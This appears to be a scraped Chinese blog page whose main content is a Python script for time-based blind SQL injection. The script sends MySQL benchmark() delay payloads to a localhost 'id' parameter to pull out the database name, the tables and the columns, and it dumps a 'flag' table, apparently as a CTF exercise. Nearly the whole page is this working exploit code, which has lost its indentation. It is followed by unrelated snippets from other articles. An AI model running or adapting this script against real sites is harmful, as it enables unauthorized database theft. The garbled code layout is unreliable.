#author:windy_2
import requests
urlx = 'http://127.0.0.1/?id= 1 and if((substr((select database()),'
payloads = 'qwertyuiopasdfghjklzxcvbnm{}_0123456789' def guess_column(table):
string = ''
extend = 0
list = []
length2 = 0
num = []
num1 = []
url1 = 'http://127.0.0.1/?id= 1 and if(((select count(column_name) from information_schema.columns where table_name=\''+ table + '\')='
url2 = 'http://127.0.0.1/?id= 1 and if((substr((select column_name from information_schema.columns where table_name=\'' + table + '\' limit '
url3 = 'http://127.0.0.1/?id= 1 and if(((select length(column_name) from information_schema.columns where table_name=\'' + table + '\' limit '
url4 = 'http://127.0.0.1/?id= 1 and if(((substr((select '
url5 = 'http://127.0.0.1/?id= 1 and if(((select count('
url7 = 'http://127.0.0.1/?id= 1 and if(((select length('
for i in range(50): #获取字段数量
url = url1 + str(i) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
print(url)
time = r.elapsed.total_seconds()
print(time)
if time > 1.5:
extend = i
length2 = i
break
for k in range(extend):
st = ''
extend1 = 0
for m in range(100):
url = url3 + str(k) + ',1)=' + str(m) + '),benchmark(1000000,md5(\'test\')),NULL); %23' #获取字段长度
r = requests.get(url)
if time > 1.5:
extend1 = m
break
for i in range(1,extend1+1): #获取字段
for payload in payloads:
url = url2 + str(k) + ',1),' + str(i) + ',1)=\'' + payload + '\'),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
print(url)
st += payload
break
list.append(st)
num1.append(st)
length = 0
for i in range(1,10000): #获取记录数量
url = url5 + str(num1[0]) + ') from ' + table + ')=' + str(i) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
print(url)
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
length = i
break
for column in list:
str1 = ''
for i in range(length):
length1 = 0
url6 = url4 + str(column) + ' from ' + table + ' limit ' + str(i)
for k in range(100): #获取记录长度
url = url7 + str(column) + ') from '+ table + ' limit ' + str(i) + ',1)=' + str(k) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
print(url)
length1 = k
break
for n in range(1,length1+1): #获取记录
for payload in payloads:
url = url6 + ',1),' + str(n) + ',1))=\'' + str(payload) + '\'),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
print(url)
str1 += payload
break
num.append(str1)
str1 = ''
for column in num1:
print(column+' ',end='')
print('\n',end='')
for i in range(length2):
for k in range(length):
x = i + length * k
print(num[x]+' ',end='')
print('\n',end='')
def guess_table():
string = ''
extend = 0
list = []
url1 = 'http://127.0.0.1/?id= 1 and if(((select count(table_name) from information_schema.tables where table_schema=database())='
url2 = 'http://127.0.0.1/?id= 1 and if((substr((select table_name from information_schema.tables where table_schema=database() limit '
url3 = 'http://127.0.0.1/?id= 1 and if(((select length(table_name) from information_schema.tables where table_schema=database() limit '
for i in range(50):
url = url1 + str(i) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
extend = i
break
for k in range(extend):
st = ''
extend1 = 0
for m in range(100):
url = url3 + str(k) + ',1)=' + str(m) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
extend1 = m
break
for i in range(1,extend1+1):
for payload in payloads:
url = url2 + str(k) + ',1),' + str(i) + ',1)=\'' + payload + '\'),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
st += payload
break
list.append(st)
print('------------')
for i in list:
print(f'[*]{i}')
print('------------')
guess_column('flag') def main():
string = ''
url1 = 'http://127.0.0.1/?id= 1 and if((length(database())='
extend = 0
for k in range(20):
url = url1 + str(k) + '),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
extend = k
break
for i in range(1,extend+1):
for payload in payloads:
url = urlx + str(i) + ',1)=\''
url = url + payload + '\'),benchmark(1000000,md5(\'test\')),NULL); %23'
r = requests.get(url)
time = r.elapsed.total_seconds()
if time > 1.5:
string += payload
break
print(f'available database\n[*] {string}')
guess_table() main()

sql注入------基于时间延迟benchmark函数注入脚本的更多相关文章

  1. sql注入--基于报错的注入

    这是经典的sqli-labs 中的less-5 问题首先通过几个常见的进行测试, 发现只要正确的话就会输出you are in.... 并不能绕过,因此不能出现敏感信息,因此要用一种新思路(参考白帽学 ...

  2. 基于时间延迟的Python验证脚本

    自己写的一段Python脚本,经常拿来验证一些sqlmap等工具跑不出数据的网站. GET类型: import urllib import urllib2 import time payloads = ...

  3. Spring 依赖注入 基于构造函数、设值函数、内部Beans、集合注入

    Spring 基于构造函数的依赖注入_w3cschool https://www.w3cschool.cn/wkspring/t7n41mm7.html Spring 基于构造函数的依赖注入 当容器调 ...

  4. Spring 基于设值函数(setter方法)的依赖注入

    当容器调用一个无参的构造函数或一个无参的静态 factory 方法来初始化你的 bean 后,通过容器在你的 bean 上调用设值函数,基于设值函数的 DI 就完成了. 下述例子显示了一个类 Text ...

  5. sql盲注之报错注入(附自动化脚本)

    作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲 ...

  6. Sql注入截取字符串常用函数

    在sql注入中,往往会用到截取字符串的问题,例如不回显的情况下进行的注入,也成为盲注,这种情况下往往需要一个一个字符的去猜解,过程中需要用到截取字符串.本文中主要列举三个函数和该函数注入过程中的一些用 ...

  7. 用于防SQL注入的几个函数

    不要相信用户的在登陆中输入的内容,需要对用户的输入进行处理 SQL注入: ' or 1=1 # 防止SQL注入的几个函数: addslashes($string):用反斜线引用字符串中的特殊字符' & ...

  8. 2019-9-9:渗透测试,基础学习,phpmyadmin getshell方法,基于时间的盲注,基于报错的注入,笔记

    phpmyadmin getshell方法1,查看是否有导入导出设置 show global variables like '%secure-file-priv%';2,如果secure-file-p ...

  9. SQL注入之Mysql报错注入

    --志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...

随机推荐

  1. MotionManager 陀螺仪实现方式

      题外话:   权利的游戏开播了,引用一句话:   布兰:一个人如果还把,他还能勇敢么?   奈德:人在害怕时候的勇敢,才是真的勇敢.     回归正题:   说下关于 CMMotionManage ...

  2. vs2010添加TSTCON( ActiveX Control Test Container )工具

    vs2010中的TSTCON( ActiveX Control Test Container )工具非自动安装,而是作为一个例程提供.所以应找到该例程,并编译: 如vs2010安装在默认路径则 1, ...

  3. spring之@Value详解(转载)

    @Value注入 不通过配置文件的注入属性的情况 通过@Value将外部的值动态注入到Bean中,使用的情况有: 注入普通字符串 注入操作系统属性 注入表达式结果 注入其他Bean属性:注入beanI ...

  4. 再说Java集合,subList之于ArrayList

    上一章说了很多ArrayList相关的内容,但还有一块儿内容没说到,那就是subList方法.先看一段代码 public static void testSubList() { List<Str ...

  5. [代码修订版] Python 踩坑之旅进程篇其五打不开的文件

    目录 1.1 踩坑案例 1.2 填坑和分析 1.2.1 从程序优化入手 1.2.2 从资源软硬限入手 1.4.1 技术关键字 下期坑位预告 代码示例支持 平台: Centos 6.3 Python: ...

  6. sql server编写简洁四则运算表达式脚本实现计算批次功能(C#等其它编程语言也能直接用此通用表达式)

    问题: 在数据库编程开发中,有时会遇到数据量比较大的情况,如果直接大批量进行添加数据.修改数据.删除数据,就会是比较大的事务,事务日志也比较大,耗时久的话会对正常操作造成一定的阻塞.虽不至于达到删库跑 ...

  7. Hadoop 学习之路(七)—— HDFS Java API

    一. 简介 想要使用HDFS API,需要导入依赖hadoop-client.如果是CDH版本的Hadoop,还需要额外指明其仓库地址: <?xml version="1.0" ...

  8. spring 5.x 系列第20篇 ——spring简单邮件、附件邮件、内嵌资源邮件、模板邮件发送 (代码配置方式)

    源码Gitub地址:https://github.com/heibaiying/spring-samples-for-all 一.说明 1.1 项目结构说明 邮件发送配置类为com.heibaiyin ...

  9. php回调函数设计

    <?php namespace Server; /** * 回调函数设计 * Class Server * @package Server */ class Server { public fu ...

  10. 设计模式之策略模式和状态模式(strategy pattern & state pattern)

    本文来讲解一下两个结构比较相似的行为设计模式:策略模式和状态模式.两者单独的理解和学习都是比较直观简单的,但是实际使用的时候却并不好实践,算是易学难用的设计模式吧.这也是把两者放在一起介绍的原因,经过 ...